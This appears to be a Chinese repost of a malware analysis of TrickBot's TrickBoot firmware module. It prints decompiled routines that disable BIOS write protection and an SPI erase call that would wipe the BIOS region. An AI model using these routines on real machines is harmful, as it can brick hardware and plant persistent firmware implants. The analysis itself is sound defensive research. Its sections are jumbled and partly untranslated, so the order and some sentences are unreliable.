【安全资讯】TrickBoot 技术细节
分子实验室——https://www.molecule-labs.com
这个新的TrickBot模块的32位和64位版本到目前为止都已经发布。
这两个版本在功能上似乎是相同的,但是为了进行分析,我们将使用来自32位版本的地址和代码示例。
混淆技术
TrickBot使用字符串和库调用混淆库https://github.com/andrivet/ADVobfuscator ,在DLL中的大多数字符串混淆。此模块不使用库调用混淆,但是其他样本已经被发现使用了库调用混淆。
属性的数据部分中不包括混淆字符串可执行文件,所有字符串都被编码为要写入的内联指令混淆字符串到本地堆栈帧缓冲区,然后使用的时候进行解码。
本示例中使用了这种混淆方法的几个变体,并且每个字符串都有自己唯一的用于修改的“key”值字符串的每个字节。本样本中观察到的变异包括:
从每个字节中减去键值
针对每个字节对键值进行异或
将键值添加到字符串的索引中并对其进行每个字节的异或
第四个变体,使用dec从每个字节中减去1也曾被发现,但这可能是编译器的优化行为,基于编译时间当值1被选为随机键时的减法。
之前的一些TrickBot样本包括这个字符构建和去混淆代码函数在每个被混淆的地方都使用了,但是这个示例有许多解混淆的副本功能。大多数只用于解码单个字符串,但是当字符串长度相同且使用相同的变体时,可以重用它们。
除了混淆字符串之外,这个示例还包括RwDrv的一个副本。来自RWEverything的Rw Drv.sys驱动程序是简单地反硬编码值。这个值在32位示例中是0x75,在64位示例中是0x4E。解码驱动程序并将其放入Windows目录的函数是at 0x10009F9D,我们将其称为“decode_and_drop_rwdrvsys”
RwDrv.sys核心驱动和其他
RwDrv.sys是一个内核驱动程序,充当特权代理允许用户空间应用程序直接访问硬件接口。它在野外被用作攻击动作的一部分,比如通过Lojax与SPI控制器硬件的调用来修改 UEFI固件通过插入新的UEFI模块和获得启动前代码执行和维持权限。
这种类型的内核驱动程序特别危险,因为允许用户空间应用程序直接访问硬件接口可以绕过操作安全控制并获得特权升级、持久性和甚至使硬件变砖。作为之前研究的一部分,我们标识了大量这些签名驱动程序,其中可以使用这种类型的攻击场景,通常给恶意软件运营商远程执行固件级别攻击受害者主机的能力
另外还有0x10009BFC,我们将其称为“open_or_init_driver”是一个助手函数,它调用decode_and_drop_rwdrvsys,也调用其他几个辅助函数加载驱动程序,创建一个窗口 ,并打开RwDrv服务的句柄。
由于本示例不使用ADVobfuscator库调用混淆,所有对DeviceIoControl的调用都是明确的容易找到。因此,我们可以进一步研究这些函数去除它们包含的字符串的混淆
例如,0x1000B167包含混淆的字符串“uefi_expl_port_read()错误:未初始化"。这个代码来自Dmytro Oleksiuk的fwexpl存储库可在https://github.com/Cr4sh/fwexpl 在 找到,这个示例包含来自https://github.com/Cr4sh/fwexpl/blob/master/src/libfwexpl/src/ libfwexpl_rwdrv.cpp用于使RwDrv.sys访问系统驱动程序硬件接口。
TrickBot样本中包括libfwexpl_rwdrv.cpp中的函数如下: ** 0x1000B167 uefi_expl_port_read** • 使用DeviceIoControl调用rwdrv.sys读取数据硬件输入输出端口 • 支持读取8位(ioctl 0x222810)、16位(ioctl 0x222818), 和32位(ioctl 0x222820)值
** 0x1000B4AC uefi_expl_port_write** • 使用DeviceIoControl调用rwdrv.sys将数据写入硬件输入输出端口 • 支持编写8位(ioctl 0x222814)、16位(ioctl 0x22281c) 和32位(ioctl 0x222824)值。
** 0x1000A4BA uefi_expl_phys_mem_read** • 使用DeviceIoControl调用rwdrv.sys读物理内存地址 • 可以通过ioctl从任意物理内存地址读取数据 0 x222808
** 0x1000A973 uefi_expl_phys_mem_write** • 使用DeviceIoControl调用rwdrv.sys写入物理内存地址 • 可以通过ioctl从任意物理内存地址读取数据 0 x222808
平台模型和硬件识别
fwexpl存储库中的PCI访问功能要求用户计算要使用的旧PCI配置地址,而不是获取总线,设备,函数和寄存器参数,所以两个额外的增加了帮助函数,使其更容易使用: ** 0x1000A3FD pci_read_reg** • 使用uefi_expl_port_write和uefi_expl_port_read读取PCI 注册通过遗留的PCI配置访问机制(端口0 xcf8和0 xcfc)
** 0x1000A45A pci_write_reg** 使用uefi_expl_port_write通过旧PCI编写PCI寄存器 配置访问机制(端口0xCF8和0xCFC)
在这些硬件访问原语的基础上,示例包含用于执行许多有趣操作的附加助手函数比如0x100093C7,我们将其称为“identify_platform”。
这个函数使用pci_read_reg来读取VendorID、DeviceID和来自CPU root complex(BDF 0:0.0)和平台的RevisionID字段Controller Hub (PCH) LPC接口(BDF 0:1F.0)。阅读这些允许permaDll32确定哪个特定型号的CPU和PCH设备正在运行。
pci_read_reg(0, 0, 0, 0, 2, &cpu_vid_did);
pci_read_reg(0, 0, 0, 8, 0, &cpu_rid);
pci_read_reg(0, 31, 0, 0, 2, &pch_vid_did);
pci_read_reg(0, 31, 0, 8, 0, &pch_rid);
0x1002402C 100 Series PCH DIDs (Skylake):
0xA143: Intel H110 (100 series) PCH
0xA144: Intel H170 (100 series) PCH
0xA145: Intel Z170 (100 series) PCH
0xA146: Intel Q170 (100 series) PCH
0xA147: Intel Q150 (100 series) PCH
0xA148: Intel B150 (100 series) PCH
0xA149: Intel C236 (100 series) PCH
0xA14A: Intel C232 (100 series) PCH
0xA14D: Intel CQM170 (100 series) PCH
0xA14E: Intel HM170 (100 series) PCH
0xA150: Intel CM236 (100 series) PCH
0xA151: Intel QMS180 (100 series) PCH
0xA152: Intel HM175 (100 series) PCH
0xA153: Intel QM175 (100 series) PCH
0xA154: Intel CM238 (100 series) PCH
0xA155: Intel QMU185 (100 series) PCH
0x9D43: PCH-U Baseline
0x9D43: PCH-U Baseline
0x10024050 200 Series PCH DIDs (Kaby Lake):
0xA2C4: Intel H270 (200 series) PCH
0xA2C5: Intel Z270 (200 series) PCH
0xA2C6: Intel Q270 (200 series) PCH
0xA2C7: Intel Q250 (200 series) PCH
0xA2C8: Intel B250 (200 series) PCH
0xA2C9: Intel Z370 (200 series) PCH
0xA2D2: Intel X299 (200 series) PCH
0x10024060: 300 Series PCH DIDs (Coffee Lake):
0xA306: Intel Q370 (300 series) PCH
0xA304: Intel H370 (300 series) PCH
0xA305: Intel Z390 (300 series) PCH
0xA308: Intel B360 (300 series) PCH
0xA303: Intel H310 (300 series) PCH
0xA30D: Intel HM370 (300 series) PCH
0xA30C: Intel QM370 (300 series) PCH
0xA30E: Intel CM246 (300 series) PCH
0x9D4B: PCH-Y with iHDCP 2.2 Premium
0x9D4E: PCH-U with iHDCP 2.2 Premium
0x9D50: PCH-U with iHDCP 2.2 Base
0x9D53: PCH-U Base
0x9D56: PCH-Y Premium
0x9D58: PCH-U Premium
0x9D84: Intel 300 series On-Package PCH
0x10024080 400 Series PCH DIDs (Comet Lake):
0xA3C8: 400 series PCH B460
0xA3DA: 400 series PCH H410
0x068D: 400 series PCH (CML-H) HM470
0x068E: 400 series PCH (CML-H) QM490
0x069A: 400 series PCH (CML-H) H420E
0x0284: Intel 400 series PCH-LP Prem-U
0x0285: Intel 400 series PCH-LP Base-U
0x3481: Intel 495 series PCH-LP U
0x3482: Intel 495 series PCH-LP Prem-U
0x3486: Intel 495 series PCH-LP Y
0x3487: Intel 495 series PCH-LP Prem-Y
0x10024098 C620 Series Server PCH DIDs:
0xA1C1: Intel C621 (C620 series) PCH
0xA1C2: Intel C622 (C620 series) PCH
0xA1C3: Intel C624 (C620 series) PCH
0xA1C4: Intel C625 (C620 series) PCH
0xA1C5: Intel C626 (C620 series) PCH
0xA1C6: Intel C627 (C620 series) PCH
0xA1C7: Intel C628 (C620 series) PCH
0xA1CA: Intel C629 (C620 series) PCH
0xA242: Intel C624 (C620 series) PCH
0xA243: Intel C627 (C620 series) PCH
0xA244: Intel C621 (C620 series) PCH
0xA245: Intel C627 (C620 series) PCH
0xA246: Intel C628 (C620 series) PCH
该代码有两个副本400系列PCH DID条目和检查,当前的PCH DID对这两个问题都采取了应对措施,这看起来是一个bug,但实际上确实是不会造成功能问题。
0x100240B4 Copy of 400 Series PCH DIDs (Comet Lake):
0xA3C8: 400 series PCH B460
0xA3DA: 400 series PCH H410
0x068D: 400 series PCH (CML-H) HM470
0x068E: 400 series PCH (CML-H) QM490
0x069A: 400 series PCH (CML-H) H420E
0x0284: Intel 400 series PCH-LP Prem-U
0x0285: Intel 400 series PCH-LP Base-U
0x3481: Intel 495 series PCH-LP U
0x3482: Intel 495 series PCH-LP Prem-U
0x3486: Intel 495 series PCH-LP Y
0x3487: Intel 495 series PCH-LP Prem-Y
unsigned long long read_bios_control_reg()
{
unsigned long long bc_value;
bc_value = 0;
if ( !pci_read_reg(reg_bc.bus,
reg_bc.dev,
reg_bc.func,
reg_bc.reg,
2,
&bc_value) )
bc_value = 0;
return bc_value;
}
bool is_bios_locked()
{
return (read_bios_control_reg() >> 1) & 1;
}
bool is_smm_bios_protection_enabled()
{
return (read_bios_control_reg() >> 5) & 1;
}
void determine_spibar()
{
unsigned long long reg_value;
reg_value = 0;
pci_read_reg(reg_spibar.bus,
reg_spibar.dev,
reg_spibar.func,
reg_spibar.reg,
2,
®_value);
cur_spibar = reg_spibar.spibar_offset + (reg_value & reg_spibar.spibar_mask);
}
long long read_pr_reg(unsigned char which_pr)
{
long long result;
if ( which_pr <= 5 )
result = uefi_expl_phys_mem_read_qword(cur_spibar + pr_regs[which_pr]->reg);
else
result = 0;
return result;
}
unsigned int try_disable_bios_write_protection()
{
unsigned int result;
unsigned long long bc_val;
// BUG HERE: Trying to read BIOS Control offset
// from SPIBAR instead of PCI Config Space
if ( uefi_expl_phys_mem_read_byte(cur_spibar + 0xDC) & 0x20 )
goto LABEL_10;
// BUG HERE: Trying to write BIOS Control offset
// via SPIBAR instead of PCI Config Space
uefi_expl_phys_mem_write_byte_or_with_old(cur_spibar + 0xDC, 1u);
bc_val = 0;
// Read BIOS Control register and check if WPD bit is already set
if ( pci_read_reg(reg_bc.bus,
reg_bc.dev,
reg_bc.func,
reg_bc.reg,
2,
&bc_val) && !(bc_val & 1) )
// Try to set the WPD (Write Protect Disable) bit
// in BIOS Control register
pci_write_reg(
reg_bc.bus,
reg_bc.dev,
reg_bc.func,
reg_bc.reg,
2,
bc_val | 1);
// Check if we were able to set the WPD bit
pci_read_reg(reg_bc.bus,
reg_bc.dev,
reg_bc.func,
reg_bc.reg,
2,
&bc_val);
if ( !(bc_val & 1) )
LABEL_10:
result = 15;
else
result = 0;
return result;
}
bool enable_bios_write_protection()
{
// BUG HERE: Trying to write BIOS Control offset via
// SPIBAR instead of PCI Config Space
return uefi_expl_phys_mem_clear_byte_with_mask(cur_spibar + 0xDC, 0xFE);
}
char check_spi_protections()
{
char result;
unsigned __int8 b2[16];
unsigned __int8 b1[16];
read_bios_control_reg();
is_bios_locked();
// even if SMM BIOS protection is enabled, try to enable writes to the
// BIOS region. buggy SMI handlers can leave protection disabled.
if (is_smm_bios_protection_enabled() && try_disable_bios_write_protection())
return 3;
result = 4;
if ( !read_pr_reg(0) &&
!read_pr_reg(1) &&
!read_pr_reg(2) &&
!read_pr_reg(3) &&
!read_pr_reg(4) )
{
// if Protected Range registers are set, check if we can read
// the BIOS region at all
*(long *)b1 = -1;
*(long *)&b1[4] = -1;
*(long *)&b1[8] = -1;
*(long *)&b1[12] = -1;
*(long *)b2 = 0;
*(long *)&b2[4] = 0;
*(long *)&b2[8] = 0;
*(long *)&b2[12] = 0;
read_from_bios_region(0, 16, b1);
if ((b1[0] || b1[3] || b1[7] || b1[15]) &&
(read_from_bios_region(0, 16, b2) &&
(b2[0] != -1 || b2[3] != -1 || b2[7] != -1 || b2[15] != -1)))
{
result = 5;
}
else
{
// otherwise, check if we can enable writes to the BIOS region
result = try_disable_bios_write_protection() != 0;
}
}
return result;
}
unsigned int do_spi_operations(int region, int cycle_type, int data_offset,
unsigned int data_size, void *buf_ptr);
• Read
• Write
• Erase
• Read SFDP
• Read JEDEC ID
• Write Status
• Read Status
unsigned int read_from_spi_region(int region, unsigned int data_offset, unsigned int
data_size, void *buf_ptr)
{
return do_spi_operations(region, spi_read, data_offset, data_size, buf_ptr);
}
return do_spi_operations(region, spi_erase, 0, 0x1000000, 0);
这将导致代码删除任何脆弱系统上的BIOS区域。
在这个级别上攻击对设备恢复可能需要更换硬件,以使系统恢复运行,这是一种更具侵入性的修复而不是更换模块化组件,如hdd或内存,因为它可能需要更换整个主板。
特别要注意的是,这个模块可以通过将上面这一行更改为:
** 0x1000BEDD read_from_spi_region** 这是一个助手函数,使用硬编码的cycle_type Read调用do_spi_operation。
The code supports the following types of SPI Flash Cycle requests:
This is a large function that takes requests from other parts of the code and performs reads and writes to SPI controller registers using the uefi_expl_* primitives and other helper functions in order to perform the requested operation.
The prototype for this function looks like this:
** 0x1000BACD do_spi_operations**
** 0x1000BEF8 get_region_base_and_size** 这个函数使用uefi_expl_phys_mem_read_dword通过读取来确定闪存线性地址(FLA)和请求区域的大小FDOD (Flash描述符可观察性数据)和Flash区域0-6 (BIOS_FREGn)寄存器。该区域配置存储在SPI闪存中描述符,它是SPI芯片内容的前4096字节。
** 0x1000BFA0 wait_while_spi_cycle_in_progress** 这个函数使用uefi_expl_phys_mem_dword读取硬件排序Flash状态和控制(BIOS_HSFSTS_CTL)寄存器来进行检查SPI循环正在进行(H_SCIP)位的状态。这个位是在SPI硬件当前处理请求时设置的。
此函数调用多个helper函数,如read_bios_control_reg、is_bios_locked、is_smm_bios_protection_enabled和try_disable_尝试启用对SPI区域的写操作并返回结果。
它还使用read_pr_reg和read_from_bios_region来确定BIOS区域是否不可读,这种情况不太常见。
** 0x10009281 check_spi_protections**
** 0x1000BA42 enable_bios_write_protection** 这个函数尝试在BIOS控制寄存器中设置BWP位,但是通过SPIBAR错误地写入了偏移量,而没有写入BC寄存器PCI配置空间。
在Atom SoC平台(Avoton、Cherrytrail、Baytrail等)中,BIOS控制寄存器位于SPIBAR中,但位于不同的偏移量(0xFC)
有趣的是,这里有一个bug。这个函数尝试检查是否设置了EISS/SMM_BWP位,但没有正确读取BIOS控制寄存器偏移量(0xDC)来自SPIBAR,而不是来自LPC接口(0:1F.0)。这导致这段代码总是认为EISS/SMM_BWP位未设置。它除了PCI配置空间外,通过SPIBAR写入BIOS控制寄存器偏移量也不正确地尝试设置WPD位。
** 0x1000B942 try_disable_bios_write_protection** 这个函数检查BIOS写保护禁用(WPD)位是否被设置,如果之前没有设置,尝试设置它,并向调用者报告状态。
** 0x10009394 read_pr_reg** 这个函数使用uefi_expl_phys_mem_read_qword来读取请求的Flash保护范围寄存器的当前内容。这是用来确定除了SPI Flash描述符和BIOS控制寄存器提供的保护之外,是否还启用了其他保护。
** 0x1000BA66 determine_spibar** 这个函数使用pci_read_reg来读取SPIBAR (SPI基址寄存器),并指向所使用的当前物理地址用于MMIO访问附加的SPI控制器寄存器。
在这里要记住的一个细节是,即使SMM Bios的写保护位是启用的,这并不一定意味着它不可能写入BIOS区域。在固件更新期间,错误的SMI处理程序存在许多问题,使系统容易受到攻击进程或使任意内存读/写作为一个“混乱的代理”。
** 0x1000947E is_smm_bios_protection_enabled** 它使用read_bios_control_reg读取BIOS控制寄存器,并检查是否启用了InSMM。STS (EISS)位,这是以前知道的当SMM BIOS写保护(SMM_BWP)设置时,无论WPD(写)状态如何,BIOS区域都是不可写的保护禁用)位,它也在BIOS控制寄存器中,除非进程在系统管理模式下运行并设置了insm.sts位(0 xfed30880[0])。
** 0x10009386 is_bios_locked** 使用read_bios_control_reg读取BIOS控制寄存器并检查是否设置了锁启用(LE)位
** 0x1000948D read_bios_control_reg** 它使用pci_read_reg读取并返回当前BIOS控制寄存器的值
既然恶意软件知道在哪里可以找到这些SPI控制器寄存器,还有一些附加的辅助函数可以用于检查BIOS区域的状态保护和执行SPI操作外部闪存芯片:
如果TrickBot模块运行在非pch_did_to_generation表中的PCH上,此函数将使用Skylake硬件访问操作设置默认值。
** PR0-PR4 (Flash Protected Ranges)** 这些寄存器每个都包含基址、限制、写保护启用,并读取保护启用,这可以用来在更细粒度的级别强制执行额外的访问控制,而不是BIOS控制寄存器和SPI提供的Flash描述符。
** BC (BIOS Control)** 这个寄存器包含写保护和锁位来控制在硬件级别访问BIOS区域。
** SPIBAR(用于MMIO访问SPI的基本地址寄存器 控制器寄存器)** 这个寄存器用于获得对其他SPI的访问控制器MMIO寄存器超出那些在PCI配置空间。
一旦代码确定了正在运行的PCH版本,它使用0x1000C0A2上的函数,我们将其称为“get_regs_from_generation”,访问这些确定的寄存器:
特定于目标的硬件资源配置
通常,该恶意软件将尝试在所有英特尔平台上运行。这一组设备id用于确定在何处查找BIOS控制寄存器,闪存保护范围寄存器,和SPIBAR。从Skylake通过Comet Lake以及C620系列的PCH服务寻找这一组设备ID。如果设备ID不在这个列表中,恶意软件将使用前面的Skylake注册定义。在本样本中包含的PCH设备id表如下所示:
SPI控制器寄存器的位置Intel PCH的几代已经改变了,以及另一个函数0x1000C00F,我们称它“pch_did_to_generation”,比较PCH设备ID是否根据已知的DeviceID集合从硬件读取值,以确定代码在哪个PCH生成上运行。